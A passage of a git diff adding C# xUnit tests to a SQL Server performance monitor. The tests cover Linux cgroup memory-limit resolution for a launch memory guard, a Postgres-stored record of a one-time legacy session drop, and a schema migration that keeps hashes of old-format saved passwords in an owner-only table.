+    /// <summary>A limit that reads fine but a status file with no <c>VmRSS</c>: the same fallback, logged once.</summary>
+    [Fact]
+    public void Linux_UnreadableStatus_FallsBackAndLogsOnce()
+    {
+        var (sampler, _, logger) = LinuxRig("Name:\tdotnet\nVmData:\t 1460224 kB\n", MeminfoSixteenGb, "2147483648", null);
+
+        for (var i = 0; i < 3; i++)
+        {
+            var reading = sampler.Sample();
+            Assert.Equal(700 * Mb, reading.Bytes);
+            Assert.Equal("the GC memory budget", reading.LimitSource);
+        }
+
+        Assert.Equal(1, logger.CountAtLevel(LogLevel.Warning));
+        Assert.Contains("VmRSS", logger.Joined);
+    }
+
+    /// <summary>The limit does not change while the process runs: its three files are read once, the figure's file
+    /// on every sample.</summary>
+    [Fact]
+    public void Linux_TheLimitIsReadOnceAndTheFigureEverySample()
+    {
+        var (sampler, files, _) = LinuxRig(StatusFromTheIssue, MeminfoSixteenGb, "2147483648", null);
+
+        for (var i = 0; i < 5; i++)
+        {
+            sampler.Sample();
+        }
+
+        Assert.Equal(1, files.Reads[DarlingStoreHostProfile.ProcMeminfoPath]);
+        Assert.Equal(1, files.Reads[CgroupV2MemoryMaxPath]);
+        Assert.Equal(1, files.Reads[CgroupV1MemoryLimitPath]);
+        Assert.Equal(5, files.Reads[LinuxLaunchMemorySampler.ProcStatusPath]);
+    }
+
+    [Theory]
+    [InlineData("VmRSS:\t  829440 kB\n", "VmRSS", 829440L * 1024)]
+    [InlineData("VmData:\t 1 kB\r\nVmRSS:   2 kB\r\n", "VmRSS", 2048L)]
+    [InlineData("VmRSS:\t  0 kB\n", "VmRSS", 0L)]
+    [InlineData("VmRSS:\t  abc kB\n", "VmRSS", null)]
+    [InlineData("RssAnon:\t 5 kB\n", "VmRSS", null)]
+    [InlineData("", "VmRSS", null)]
+    [InlineData(null, "VmRSS", null)]
+    public void ParseProcStatusBytes_ReadsOneKeyAsBytes(string? text, string key, long? expected)
+        => Assert.Equal(expected, LinuxLaunchMemorySampler.ParseProcStatusBytes(text, key));
+
+    /* ============== this process's own cgroup, nested-aware (#5481 round 1): the guard and --check-settings ============== */
+
+    private const string MeminfoSixtyFourGb = "MemTotal:       67108864 kB\nMemFree:        1000000 kB\n";
+    private const string TwoGi = "2147483648";
+
+    [Theory]
+    [InlineData("0::/system.slice/darling.service\n", "/system.slice/darling.service")]
+    [InlineData("0::/\n", "/")]
+    [InlineData("12:memory:/old\n0::/new/leaf/\n", "/new/leaf")]
+    [InlineData("0::/system.slice/x.service (deleted)\n", "/system.slice/x.service")]
+    [InlineData("0::/a/../b\n", null)]
+    [InlineData("0::relative\n", null)]
+    [InlineData("4:memory:/docker/abc\n", null)]
+    [InlineData("", null)]
+    [InlineData(null, null)]
+    public void ParseProcSelfCgroupV2Path_ReadsTheUnifiedLine(string? text, string? expected)
+        => Assert.Equal(expected, DarlingStoreHostProfile.ParseProcSelfCgroupV2Path(text));
+
+    [Theory]
+    [InlineData("11:memory:/docker/abc\n10:cpu,cpuacct:/docker/abc\n", "/docker/abc")]
+    [InlineData("4:cpu,memory:/p\n", "/p")]
+    [InlineData("1:name=systemd:/x\n0::/y\n", null)]
+    [InlineData("", null)]
+    public void ParseProcSelfCgroupV1MemoryPath_ReadsTheMemoryControllerLine(string? text, string? expected)
+        => Assert.Equal(expected, DarlingStoreHostProfile.ParseProcSelfCgroupV1MemoryPath(text));
+
+    [Fact]
+    public void CgroupPathAndAncestors_WalksUpToTheRoot()
+    {
+        Assert.Equal(["/a/b/c", "/a/b", "/a", "/"], DarlingStoreHostProfile.CgroupPathAndAncestors("/a/b/c"));
+        Assert.Equal(["/"], DarlingStoreHostProfile.CgroupPathAndAncestors("/"));
+    }
+
+    private static long? Resolve(string? procSelfCgroup, params (string Path, string Text)[] files)
+    {
+        var map = files.ToDictionary(f => f.Path, f => f.Text);
+        return DarlingStoreHostProfile.ResolveCgroupMemoryLimitBytes(procSelfCgroup, path => map.GetValueOrDefault(path));
+    }
+
+    /// <summary>A systemd unit with <c>MemoryMax=2G</c> on a 64GB host: the limit is on the unit's cgroup, and the root
+    /// file reads <c>max</c>. The root-only read saw no limit and the guard measured against 64GB.</summary>
+    [Fact]
+    public void ASystemdUnitMemoryMax_IsFoundAtTheNestedPath()
+    {
+        var limit = Resolve(
+            "0::/system.slice/darling.service\n",
+            ("/sys/fs/cgroup/memory.max", "max\n"),
+            ("/sys/fs/cgroup/system.slice/darling.service/memory.max", TwoGi + "\n"));
+
+        Assert.Equal(2147483648L, limit);
+    }
+
+    /// <summary><c>max</c> on the process's own cgroup and a limit on a parent: the parent's limit applies.</summary>
+    [Fact]
+    public void MaxAtTheLeafWithALimitAtAParent_IsTheParentsLimit()
+    {
+        var limit = Resolve(
+            "0::/machine.slice/pod/leaf\n",
+            ("/sys/fs/cgroup/memory.max", "max"),
+            ("/sys/fs/cgroup/machine.slice/memory.max", "8589934592"),
+            ("/sys/fs/cgroup/machine.slice/pod/memory.max", "1073741824"),
+            ("/sys/fs/cgroup/machine.slice/pod/leaf/memory.max", "max"));
+
+        Assert.Equal(1073741824L, limit);
+    }
+
+    /// <summary>A container started with <c>--cgroupns=host</c> sees the host's tree, so its own path is a long one.</summary>
+    [Fact]
+    public void ACgroupnsHostContainer_ResolvesItsOwnLimitFromTheHostsTree()
+    {
+        var limit = Resolve(
+            "0::/docker/0123abcd\n",
+            ("/sys/fs/cgroup/memory.max", "max"),
+            ("/sys/fs/cgroup/docker/0123abcd/memory.max", TwoGi));
+
+        Assert.Equal(2147483648L, limit);
+    }
+
+    [Fact]
+    public void CgroupV1_TheMemoryControllersNestedLimit_IsFound()
+    {
+        var limit = Resolve(
+            "4:memory:/docker/abc\n3:cpu:/docker/abc\n",
+            ("/sys/fs/cgroup/memory/memory.limit_in_bytes", "9223372036854771712"),
+            ("/sys/fs/cgroup/memory/docker/abc/memory.limit_in_bytes", "536870912\n"));
+
+        Assert.Equal(536870912L, limit);
+    }
+
+    [Fact]
+    public void NoFiniteLimitAnywhere_IsNull_AndNothingReadableIsNull()
+    {
+        Assert.Null(Resolve("0::/a/b\n", ("/sys/fs/cgroup/memory.max", "max"), ("/sys/fs/cgroup/a/memory.max", "max")));
+        Assert.Null(Resolve(null));
+        Assert.Null(Resolve("garbage"));
+    }
+
+    /// <summary>A process whose <c>/proc/self/cgroup</c> cannot be read behaves as before: the root files are read.</summary>
+    [Fact]
+    public void AnUnreadableProcSelfCgroup_StillReadsTheRootFiles()
+    {
+        Assert.Equal(2147483648L, Resolve(null, ("/sys/fs/cgroup/memory.max", TwoGi)));
+        Assert.Equal(1073741824L, Resolve(null, ("/sys/fs/cgroup/memory/memory.limit_in_bytes", "1073741824")));
+    }
+
+    /// <summary>The guard's sampler through a nested cgroup on a 64GB host: the limit is the unit's 2GiB, not total RAM,
+    /// so 1800MB resident is over the line (1638MB) where the root-only read measured it against 64GB and never held.</summary>
+    [Fact]
+    public void Linux_ANestedCgroupLimit_IsTheGuardsLimit_NotTotalRam()
+    {
+        var files = new FakeFiles();
+        files.Files[LinuxLaunchMemorySampler.ProcStatusPath] = "VmRSS:\t 1843200 kB\n";
+        files.Files[DarlingStoreHostProfile.ProcMeminfoPath] = MeminfoSixtyFourGb;
+        files.Files[DarlingStoreHostProfile.ProcSelfCgroupPath] = "0::/system.slice/darling.service\n";
+        files.Files[CgroupV2MemoryMaxPath] = "max\n";
+        files.Files["/sys/fs/cgroup/system.slice/darling.service/memory.max"] = TwoGi + "\n";
+        var sampler = new LinuxLaunchMemorySampler(files.Read, () => 700 * Mb, () => Limit, new CapturingTestLogger());
+
+        var reading = sampler.Sample();
+
+        Assert.Equal(2147483648L, reading.LimitBytes);
+        Assert.Equal("cgroup memory limit", reading.LimitSource);
+        Assert.False(DarlingWorker.ShouldLaunchSweeps(reading.Bytes, reading.LimitBytes));
+    }
+
+    /// <summary>The store host profile (<c>--check-settings</c>) reads the limit the same way the guard does.</summary>
+    [Fact]
+    public void TheStoreHostProfile_UsesTheSameNestedResolver()
+    {
+        var profile = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "DarlingStoreHostProfile.cs");
+
+        Assert.Contains("ResolveCgroupMemoryLimitBytes(TryReadFile(ProcSelfCgroupPath), TryReadFile)", profile, StringComparison.Ordinal);
+        Assert.DoesNotContain("ParseCgroupV2MemoryMaxBytes(TryReadFile(CgroupV2MemoryMaxPath))", profile, StringComparison.Ordinal);
+    }
+
+    /// <summary>The same Linux rig, end to end through the guard: the issue's numbers launch with no log at all.</summary>
+    [Fact]
+    public void Linux_TheIssuesNumbers_ThroughTheGuard_NeverTrip()
+    {
+        var (sampler, _, logger) = LinuxRig(StatusFromTheIssue, MeminfoSixteenGb, "2147483648", null);
+        var guard = new LaunchMemoryGuard(sampler.Sample, () => throw new InvalidOperationException("no collection expected"), () => TimeSpan.Zero, logger);
+
+        Assert.True(guard.MayLaunch(0));
+        Assert.Empty(logger.Lines);
+    }
+}
+
+/// <summary>
+/// The real collection, on this process (#5479). It measures process-wide private bytes, so it runs alone: in a
+/// collection that disables parallelization, with no other test class allocating or collecting beside it. Skipped
+/// on Linux, where the private-bytes figure is <c>VmData</c> and the guard does not use it.
+/// </summary>
+[Collection("launch-guard-real-collection")]
+public sealed class LaunchMemoryGuardRealCollectionTests
+{
+    /// <summary>
+    /// The real collection, on this process: garbage that nothing references still counts in the process's private
+    /// bytes until a collection decommits it, and the guard's collection gives it back. This is the premise the whole
+    /// release rests on (a drained process allocates nothing, so the figure never falls by itself), measured rather
+    /// than assumed. The garbage is made in its own method so no local keeps it alive.
+    /// </summary>
+    [Fact]
+    public void TheRealCollection_GivesDeadGarbageBackToTheProcess()
+    {
+        Assert.SkipWhen(OperatingSystem.IsLinux(), "On Linux the guard's figure is resident memory, and this process's private bytes read VmData.");
+        MakeGarbage();
+        var before = PrivateMegabytes();
+        Assert.True(before > 150, $"the test garbage should show in private bytes, read {before}MB");
+
+        LaunchMemoryGuard.CollectAndDecommit();
+
+        var after = PrivateMegabytes();
+        Assert.True(before - after >= 100, $"the collection should decommit the garbage: {before}MB before, {after}MB after");
+    }
+
+    [System.Runtime.CompilerServices.MethodImpl(System.Runtime.CompilerServices.MethodImplOptions.NoInlining)]
+    private static void MakeGarbage()
+    {
+        var blocks = new List<byte[]>();
+        for (var i = 0; i < 20; i++)
+        {
+            var block = new byte[10_000_000];
+            Array.Fill(block, (byte)1);
+            blocks.Add(block);
+        }
+
+        GC.KeepAlive(blocks);
+    }
+
+    private static long PrivateMegabytes()
+    {
+        using var process = System.Diagnostics.Process.GetCurrentProcess();
+        return process.PrivateMemorySize64 / (1024 * 1024);
+    }
+}
+
+[CollectionDefinition("launch-guard-real-collection", DisableParallelization = true)]
+public sealed class LaunchMemoryGuardRealCollectionDefinition
+{
+}
diff --git a/Darling/Darling.Tests/LegacyLongQueryRecordLiveTests.cs b/Darling/Darling.Tests/LegacyLongQueryRecordLiveTests.cs
new file mode 100644
index 0000000000..021af09fb0
--- /dev/null
+++ b/Darling/Darling.Tests/LegacyLongQueryRecordLiveTests.cs
@@ -0,0 +1,218 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The record of the one-time legacy long-query session drop, against a real store: the record one runner writes is read
+/// back by a new runner (a service restart) and again after a reconnect, and neither drops the session a second time.
+/// The drop itself is replaced on the runner, so no monitored server is needed; the record goes through the real
+/// store-backed implementation (<see cref="StoreLegacyLongQueryRecords"/>). The record belongs to one server: another server's
+/// record in the same database name does not stop a server's drop, and a server's own record stops its second one.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class LegacyLongQueryRecordLiveTests
+{
+    /* #1776 own-store: the rows are keyed by distinctive fake server ids and removed in the cleanup. The two-server test keeps
+       its own pair, so neither test's cleanup touches the other's rows. */
+    private const int LiveServerId = -496100;
+    private const int FirstServerId = -496110;
+    private const int SecondServerId = -496111;
+
+    [Theory]
+    [InlineData(false)]
+    [InlineData(true)]
+    public async Task TheRecord_WrittenByOneRunner_IsReadBackByANewRunnerAndAfterAReconnect_AndNeitherDropsAgain(bool azureSqlDatabase)
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live legacy long-query record test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(connectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteAsync(connection, ct);
+
+        await using var postgres = NpgsqlDataSource.Create(connectionString!);
+        var databases = azureSqlDatabase ? new[] { "alpha", "beta" } : new[] { string.Empty };
+        var legacyDrops = new List<string>();
+
+        (DarlingCollectorRunner Runner, DarlingWorker.ServerLoopState State) Build() =>
+            BuildInstall(postgres, LiveServerId, "legacy-live", azureSqlDatabase, (_, database) => legacyDrops.Add(database));
+
+        var bodySucceeded = false;
+        try
+        {
+            /* The first install drops the session once in each database, and records it in the store. */
+            var first = Build();
+            await ReconcileAsync(first);
+            Assert.Equal(databases, legacyDrops);
+
+            var stored = await first.Runner.GetCollectorStateAsync(LiveServerId, LegacyLongQuerySession.StateCollector, ct);
+            Assert.Equal(databases.Select(LegacyLongQuerySession.StateKey).OrderBy(k => k, StringComparer.Ordinal), stored.Keys.OrderBy(k => k, StringComparer.Ordinal));
+            Assert.All(stored.Values, value => Assert.True(DateTime.TryParse(value, CultureInfo.InvariantCulture, DateTimeStyles.RoundtripKind, out _), value));
+
+            /* A service restart: a new runner reads the record back, and drops nothing. */
+            var restarted = Build();
+            await ReconcileAsync(restarted);
+            Assert.Equal(databases, legacyDrops);
+
+            /* A reconnect: the record is read again, and nothing is dropped. */
+            restarted.Runner.OnServerReconnected(LiveServerId);
+            restarted.State.LongQueryTraceApplied = null;
+            restarted.State.LongQueryTraceAppliedKey = null;
+            restarted.State.LongQueryTraceAppliedAtUtc = null;
+            await ReconcileAsync(restarted);
+            Assert.Equal(databases, legacyDrops);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(connectionString!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteAsync(cleanup, cleanupCt));
+        }
+    }
+
+    [Theory]
+    [InlineData(false)]
+    [InlineData(true)]
+    public async Task TheRecordOfOneServer_DoesNotStopAnotherServersDropInTheSameDatabaseName_AndEachServersOwnRecordStopsItsSecondDrop(bool azureSqlDatabase)
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live legacy long-query record test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(connectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteServersAsync(connection, ct);
+
+        await using var postgres = NpgsqlDataSource.Create(connectionString!);
+        var databases = azureSqlDatabase ? new[] { "alpha", "beta" } : new[] { string.Empty };
+        var expectedKeys = databases.Select(LegacyLongQuerySession.StateKey).OrderBy(k => k, StringComparer.Ordinal).ToList();
+        var legacyDrops = new List<(int ServerId, string Database)>();
+
+        (DarlingCollectorRunner Runner, DarlingWorker.ServerLoopState State) BuildFirst() =>
+            BuildInstall(postgres, FirstServerId, "legacy-live-first", azureSqlDatabase, (id, database) => legacyDrops.Add((id, database)));
+
+        (DarlingCollectorRunner Runner, DarlingWorker.ServerLoopState State) BuildSecond() =>
+            BuildInstall(postgres, SecondServerId, "legacy-live-second", azureSqlDatabase, (id, database) => legacyDrops.Add((id, database)));
+
+        List<string> DropsOf(int serverId) => legacyDrops.Where(drop => drop.ServerId == serverId).Select(drop => drop.Database).ToList();
+
+        var bodySucceeded = false;
+        try
+        {
+            /* The first server drops the session once in each database, and records it under its own server id. */
+            await ReconcileAsync(BuildFirst());
+            Assert.Equal(databases, DropsOf(FirstServerId));
+
+            /* The second server has the same database names. A new runner has read nothing, so the store is all that could
+               tell it the session was dropped, and the first server's record is not its own: it still drops in each one. */
+            var second = BuildSecond();
+            await ReconcileAsync(second);
+            Assert.Equal(databases, DropsOf(SecondServerId));
+            Assert.Equal(databases, DropsOf(FirstServerId));
+
+            /* Each server holds exactly its own record. */
+            foreach (var serverId in new[] { FirstServerId, SecondServerId })
+            {
+                var stored = await second.Runner.GetCollectorStateAsync(serverId, LegacyLongQuerySession.StateCollector, ct);
+                Assert.Equal(expectedKeys, stored.Keys.OrderBy(k => k, StringComparer.Ordinal).ToList());
+            }
+
+            /* A service restart: each server's own record, read back from the store, stops its second drop. */
+            await ReconcileAsync(BuildSecond());
+            await ReconcileAsync(BuildFirst());
+            Assert.Equal(databases, DropsOf(SecondServerId));
+            Assert.Equal(databases, DropsOf(FirstServerId));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(connectionString!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteServersAsync(cleanup, cleanupCt));
+        }
+    }
+
+    /// <summary>
+    /// One server's runner and loop state over the real store. The drop of the legacy session is replaced by
+    /// <paramref name="onLegacyDrop"/>, called with the server id and the database named, so no monitored server is needed;
+    /// the record goes through the store-backed implementation. Each call is a new process: it has read nothing from the
+    /// store yet.
+    /// </summary>
+    private static (DarlingCollectorRunner Runner, DarlingWorker.ServerLoopState State) BuildInstall(
+        NpgsqlDataSource postgres, int serverId, string name, bool azureSqlDatabase, Action<int, string> onLegacyDrop)
+    {
+        var config = new MonitoredServer { Name = name, Host = name + ".database.windows.net" };
+        var runtime = new ServerRuntime
+        {
+            Config = config,
+            ConnectionString = "Server=tcp:" + name + ".database.windows.net,1433;Initial Catalog=master;Encrypt=True",
+            Target = new CollectorTargetInfo { IsAzureSqlDb = azureSqlDatabase },
+            StorageName = name,
+            ServerId = serverId,
+        };
+        var runner = new DarlingCollectorRunner(
+            postgres,
+            new CollectorDeltaCalculator(),
+            databaseScope: (_, _) => new List<string>(),
+            separatelyMonitoredDatabases: _ => new List<string>(),
+            installId: () => "0a1b2c3d");
+        runner.LongQueryTraceListOverrideForTests = (_, _, _, _) => Task.FromResult(new List<string> { "master", "alpha", "beta" });
+        runner.LongQueryTraceDatabaseOverrideForTests = (server, database, _, sessionName, _) =>
+        {
+            if (sessionName == LongQueryCompletionsCollector.LegacyXeSessionName)
+            {
+                onLegacyDrop(server.ServerId, database);
+            }
+
+            return Task.CompletedTask;
+        };
+
+        return (runner, new DarlingWorker.ServerLoopState { Config = config, Runtime = runtime });
+    }
+
+    private static Task ReconcileAsync((DarlingCollectorRunner Runner, DarlingWorker.ServerLoopState State) install) =>
+        DarlingWorker.ReconcileLongQueryTraceAsync(
+            install.State, install.Runner, enabled: true, Array.Empty<LongQueryTraceRegistration>(), Array.Empty<string>(),
+            DateTime.UtcNow, new DarlingSelfAlertTests.CapturingLogger(), CancellationToken.None);
+
+    private static async Task DeleteServersAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        using var command = new NpgsqlCommand(
+            "DELETE FROM collect.collector_state WHERE server_id IN ("
+            + FirstServerId.ToString(CultureInfo.InvariantCulture) + ", " + SecondServerId.ToString(CultureInfo.InvariantCulture) + ")", connection);
+        command.CommandTimeout = 30;
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task DeleteAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        using var command = new NpgsqlCommand(
+            "DELETE FROM collect.collector_state WHERE server_id = " + LiveServerId.ToString(CultureInfo.InvariantCulture), connection);
+        command.CommandTimeout = 30;
+        await command.ExecuteNonQueryAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/LegacyPinCandidateRungTests.cs b/Darling/Darling.Tests/LegacyPinCandidateRungTests.cs
new file mode 100644
index 0000000000..090baf8ce5
--- /dev/null
+++ b/Darling/Darling.Tests/LegacyPinCandidateRungTests.cs
@@ -0,0 +1,251 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Reflection;
+using System.Security.Cryptography;
+using System.Text;
+using System.Text.RegularExpressions;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Pins the rung that records which old-format saved passwords were in the store at the upgrade (V167, #5456): its place
+/// in a dense ladder (V168's and V169's rungs sit above it), its owner-only table, the gate on its capture statement, and the schema-version probe's
+/// sentinel. The live fact mints its own scratch store.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class LegacyPinCandidateRungTests
+{
+    private const int ProbeOrdinal = 142;
+
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private static PgMigrations.Migration Rung => PgMigrations.Scripts.Single(m => m.Name == "legacy-pin-candidates");
+
+    [Fact]
+    public void TheRungIsInADenseLadder_BelowTheCurrentTop()
+    {
+        var versions = PgMigrations.Scripts.Select(s => s.Version).ToList();
+
+        Assert.Equal(LegacyPinCandidateTables.RungVersion, Rung.Version);
+        /* No longer the top rung: V168 (the PLAN_REGRESSION per-day totals) and V169 (the per-server AWS role) landed above it. */
+        Assert.True(Rung.Version < StorageVersion.SchemaVersion);
+        Assert.Equal(StorageVersion.SchemaVersion, PgMigrations.Scripts[^1].Version);
+        Assert.Contains(Rung.Version + 1, versions);
+        Assert.Equal(versions.Distinct().OrderBy(v => v), versions);
+        Assert.Contains(Rung.Version - 1, versions);
+        Assert.Equal(LegacyPinCandidateTables.CreateSql + "\n\n" + LegacyPinCandidateTables.CaptureSql, Rung.Sql);
+
+        /* V165 does not change: a store already at 165 never runs it again, so this is a rung of its own. */
+        Assert.DoesNotContain("legacy_secret_pin_candidate", PasswordKeyTables.CreateSql, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheTableIsOwnerOnly_WithTheTriggersMadeBeforeTheCapture()
+    {
+        var create = LegacyPinCandidateTables.CreateSql.Replace("\r\n", "\n", StringComparison.Ordinal);
+
+        Assert.Contains("CREATE TABLE IF NOT EXISTS config.legacy_secret_pin_candidate", create, StringComparison.Ordinal);
+        Assert.Contains("ALTER TABLE config.legacy_secret_pin_candidate ENABLE ROW LEVEL SECURITY;", create, StringComparison.Ordinal);
+        Assert.DoesNotContain("CREATE POLICY", create, StringComparison.OrdinalIgnoreCase);
+        Assert.Contains("value_sha256 bytea NOT NULL", create, StringComparison.Ordinal);
+        Assert.Contains("CONSTRAINT ck_legacy_secret_pin_candidate_slot CHECK (slot IN ('server', 'remediation', 'smtp'))", create, StringComparison.Ordinal);
+
+        Assert.Equal(2, LegacyPinCandidateTables.OwnerOnlyTriggers.Count);
+        foreach (var (table, trigger) in LegacyPinCandidateTables.OwnerOnlyTriggers)
+        {
+            Assert.Equal("legacy_secret_pin_candidate", table);
+            Assert.Contains($"CREATE TRIGGER {trigger}", create, StringComparison.Ordinal);
+            Assert.Contains($"ALTER TABLE config.{table} ENABLE ALWAYS TRIGGER {trigger};", create, StringComparison.Ordinal);
+        }
+
+        Assert.Equal(2, Regex.Matches(create, "FOR EACH (ROW|STATEMENT) EXECUTE FUNCTION config.password_key_owner_only\\(\\);").Count);
+
+        /* The capture comes after every trigger in the rung's text, so the table is never writable by another role. */
+        var capture = Rung.Sql.IndexOf("INSERT INTO config.legacy_secret_pin_candidate", StringComparison.Ordinal);
+        Assert.True(capture > Rung.Sql.LastIndexOf("ENABLE ALWAYS TRIGGER", StringComparison.Ordinal), "the capture runs after the triggers exist");
+
+        /* The service checks the catalog for these two triggers, and both provisioning paths revoke and sweep the table. */
+        var store = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "DarlingPasswordKeyStore.cs");
+        Assert.Contains("LegacyPinCandidateTables.OwnerOnlyTriggers", store, StringComparison.Ordinal);
+        Assert.Contains("'legacy_secret_pin_candidate'", store, StringComparison.Ordinal);
+        foreach (var file in new[]
+                 {
+                     RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "DarlingManagedRoles.cs"),
+                     RepoFile.ReadRepoFile("Darling", "tools", "provision-roles.sql"),
+                 })
+        {
+            Assert.Contains("legacy_secret_pin_candidate FROM PUBLIC", file, StringComparison.Ordinal);
+            Assert.Contains("trg_legacy_secret_pin_candidate_owner_only_row", file, StringComparison.Ordinal);
+            Assert.Contains("trg_legacy_secret_pin_candidate_owner_only_truncate", file, StringComparison.Ordinal);
+            Assert.True(Regex.Matches(file, "to_regclass\\('(\\{config\\}|config)\\.legacy_secret_pin_candidate'\\)").Count >= 3, "the table is in every to_regclass list");
+        }
+    }
+
+    [Fact]
+    public void TheCaptureRunsOnlyWhileTheStepIsOpen_AndTakesOnlyOldFormatValues()
+    {
+        var capture = LegacyPinCandidateTables.CaptureSql.Replace("\r\n", "\n", StringComparison.Ordinal);
+
+        Assert.Contains("m.state = 'pending'", capture, StringComparison.Ordinal);
+        Assert.Contains("FROM config.legacy_secret_pin_marker AS m WHERE m.id = 1", capture, StringComparison.Ordinal);
+        Assert.Contains("ON CONFLICT (server_id, slot) DO NOTHING;", capture, StringComparison.Ordinal);
+
+        /* The hash is of the stored text, as the pin step and the resolver hash it; the text itself is never stored. */
+        Assert.Contains("pg_catalog.sha256(pg_catalog.convert_to(v.stored, 'UTF8'))", capture, StringComparison.Ordinal);
+
+        /* Blank values, sealed values and references are not recorded. */
+        Assert.Contains(@"v.stored !~ '^\s*$'", capture, StringComparison.Ordinal);
+        foreach (var prefix in new[] { "sealed:", "env:", "file:" })
+        {
+            Assert.Contains($"NOT pg_catalog.starts_with(v.stored, '{prefix}')", capture, StringComparison.Ordinal);
+        }
+
+        /* The three slots, and the mail server's row is server 0. */
+        Assert.Contains("'server'::text AS slot", capture, StringComparison.Ordinal);
+        Assert.Contains("'remediation'::text", capture, StringComparison.Ordinal);
+        Assert.Contains("SELECT 0, 'smtp'::text", capture, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheProbeCarriesTheTable_AtItsOwnOrdinal()
+    {
+        var probe = ViewerDataService.StoreSchemaProbeSql.Replace("\r\n", "\n", StringComparison.Ordinal);
+        var arm = "to_regclass('config.legacy_secret_pin_candidate') IS NOT NULL";
+        Assert.Contains(arm, probe, StringComparison.Ordinal);
+        Assert.True(probe.IndexOf("to_regclass('collect.plan_regression_daily_built')", StringComparison.Ordinal) > probe.IndexOf(arm, StringComparison.Ordinal),
+            "a newer rung's arm follows this one in the probe, so this one reads at the ordinal before it");
+
+        var viewer = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerDataService.cs");
+        Assert.Contains($"reader.GetBoolean({ProbeOrdinal})", viewer, StringComparison.Ordinal);
+        Assert.Contains($"reader.GetBoolean({ProbeOrdinal + 1})", viewer, StringComparison.Ordinal);
+        Assert.Contains($"reader.GetBoolean({ProbeOrdinal + 2})", viewer, StringComparison.Ordinal);
+        Assert.Contains($"reader.GetBoolean({ProbeOrdinal + 3})", viewer, StringComparison.Ordinal);
+        Assert.Contains($"reader.GetBoolean({ProbeOrdinal + 4})", viewer, StringComparison.Ordinal);
+        Assert.Contains($"reader.GetBoolean({ProbeOrdinal + 5})", viewer, StringComparison.Ordinal);
+        Assert.Contains($"reader.GetBoolean({ProbeOrdinal + 6})", viewer, StringComparison.Ordinal);
+        Assert.DoesNotContain($"reader.GetBoolean({ProbeOrdinal + 7})", viewer, StringComparison.Ordinal);
+
+        var method = typeof(ViewerDataService).GetMethod("MapProbedSchemaVersion", BindingFlags.NonPublic | BindingFlags.Static)!;
+        var parameters = method.GetParameters();
+        Assert.Equal(ProbeOrdinal + 6, parameters.Length - 1);
+        Assert.Equal("hasLegacyPinCandidates", parameters[ProbeOrdinal].Name);
+        Assert.Equal("hasPagerDutyAutoResolve", parameters[ProbeOrdinal - 1].Name);
+
+        var all = Enumerable.Repeat((object)true, parameters.Length).ToArray();
+        Assert.Equal(PgMigrations.Scripts[^1].Version, (int)method.Invoke(null, all)!);
+        Assert.Equal(StorageVersion.SchemaVersion, ViewerDataService.RequiredStoreSchemaVersion);
+
+        /* A store that stopped at this rung answers this rung; the same store without its sentinel answers the one before. */
+        var atThisRung = Enumerable.Range(0, parameters.Length).Select(i => (object)(i <= ProbeOrdinal)).ToArray();
+        Assert.Equal(Rung.Version, (int)method.Invoke(null, atThisRung)!);
+        var behind = (object[])atThisRung.Clone();
+        behind[ProbeOrdinal] = false;
+        Assert.Equal(Rung.Version - 1, (int)method.Invoke(null, behind)!);
+
+        var thisArm = viewer.IndexOf("if (hasLegacyPinCandidates)", StringComparison.Ordinal);
+        var previousArm = viewer.IndexOf("if (hasPagerDutyAutoResolve)", StringComparison.Ordinal);
+        Assert.True(thisArm >= 0 && thisArm < previousArm, "this arm sits above the previous rung's");
+        Assert.Contains($"return {Rung.Version};", viewer[thisArm..previousArm], StringComparison.Ordinal);
+
+        var armProseStart = viewer.LastIndexOf("/* V167 (#5456)", thisArm, StringComparison.Ordinal);
+        Assert.True(armProseStart >= 0, "the arm has no comment block saying why it exists");
